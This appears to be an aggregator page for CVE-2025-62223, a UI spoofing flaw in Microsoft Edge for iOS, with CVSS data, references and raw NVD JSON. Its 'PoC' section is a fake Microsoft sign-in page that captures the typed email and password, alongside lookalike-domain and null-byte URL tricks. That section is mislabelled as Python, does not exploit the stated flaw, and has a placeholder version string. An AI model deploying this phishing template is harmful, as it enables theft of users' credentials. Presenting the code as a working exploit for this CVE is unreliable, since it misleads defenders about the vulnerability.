CVE-2025-62223

Description

User interface (ui) misrepresentation of critical information in Microsoft Edge for iOS allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:*:*:*:* - VULNERABLE

Microsoft Edge for iOS < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62223 PoC - Microsoft Edge iOS UI Spoofing
// Note: This is a conceptual PoC for educational purposes only

// Attack Scenario: Fake Login Page with Spoofed Address Bar
const fakeLoginHTML = `
<!DOCTYPE html>
<html>
<head>
    <title>Secure Login - Microsoft</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .fake-url { background: #f0f0f0; padding: 10px; font-size: 14px; }
        .login-form { max-width: 300px; margin: 20px auto; }
        input { width: 100%; padding: 10px; margin: 5px 0; }
        button { width: 100%; padding: 10px; background: #0078d4; color: white; }
    </style>
</head>
<body>
    <div class='fake-url'>https://login.microsoftonline.com</div>
    <div class='login-form'>
        <h2>Sign in to your account</h2>
        <input type='email' placeholder='Email or phone' />
        <input type='password' placeholder='Password' />
        <button type='submit'>Sign in</button>
    </div>
    <script>
        // Technique to manipulate address bar display
        // In real attack, this would exploit Edge iOS vulnerability
        
        // Historical spoofing techniques that may apply:
        // 1. Homograph attacks using similar-looking characters
        // 2. Subdomain manipulation
        // 3. URL encoding tricks
        // 4. Punycode domain abuse
        
        const homographDomain = 'https://microsoft.com\x00evil.com';
        const punycodeDomain = 'https://xn--80ak6aa92e.com'; // apple.com in Cyrillic
        
        // Prevent actual credential submission
        document.querySelector('button').addEventListener('click', (e) => {
            e.preventDefault();
            const creds = {
                email: document.querySelector('input[type=email]').value,
                password: document.querySelector('input[type=password]').value
            };
            console.log('Captured credentials:', creds);
            alert('Session expired. Please try again.');
        });
    </script>
</body>
</html>
`;

// Exploitation Steps:
// 1. Attacker hosts malicious page or injects code via XSS
// 2. User opens link in Microsoft Edge for iOS
// 3. Browser displays fake URL in address bar
// 4. User enters credentials thinking they're on legitimate site
// 5. Credentials are captured by attacker

console.log('CVE-2025-62223 PoC loaded');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62223
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62223
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62223/
[4] VulDB https://vuldb.com/cve/CVE-2025-62223
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62223

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62223", "sourceIdentifier": "[email protected]", "published": "2025-12-05T01:15:48.557", "lastModified": "2025-12-10T23:26:17.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "User interface (ui) misrepresentation of critical information in Microsoft Edge for iOS allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.3650.66", "matchCriteriaId": "C86B5AA6-743D-478B-86E7-D50CE1175A55"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62223", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}